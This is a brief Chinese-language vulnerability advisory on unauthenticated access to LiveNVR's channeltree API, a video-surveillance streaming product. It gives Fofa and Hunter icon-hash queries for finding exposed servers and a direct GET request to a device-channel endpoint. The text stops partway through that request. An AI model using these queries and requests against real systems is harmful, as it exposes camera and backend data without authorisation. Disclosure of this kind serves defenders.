流媒体服务软件-LiveNVR channeltree 未授权访问

0x01 产品描述：

        LiveNVR 能够通过简单的网络摄像机通道配置，将传统监控行业里面的高清网络摄像机 IPCamera、NVR 等具有 RTSP/Onvif 协议输出的设备接入到 LiveNVR，LiveNVR 能够将这些设备源的音/视频数据进行采集、转换、输出，进行全平台终端直播（PC、Android、iOS、微信、H5），并且LiveNVR能够将视频源的直播数据对接到第三方 CDN 网络，实现安防设备互联网级别的直播分发
0x02 漏洞描述：

        LiveNVR在channeltree接口中没有加上权限校验导致可未授权访问系统后台数据，造成后台信息泄露。

0x03 搜索语句：

Fofa：icon_hash="-206100324"

Hunter：web.icon=="7bfff01de80c14288ff385cd7db83c56"

0x04 漏洞复现：

直接访问接口即可获取数据

GET /api/v1/device/chan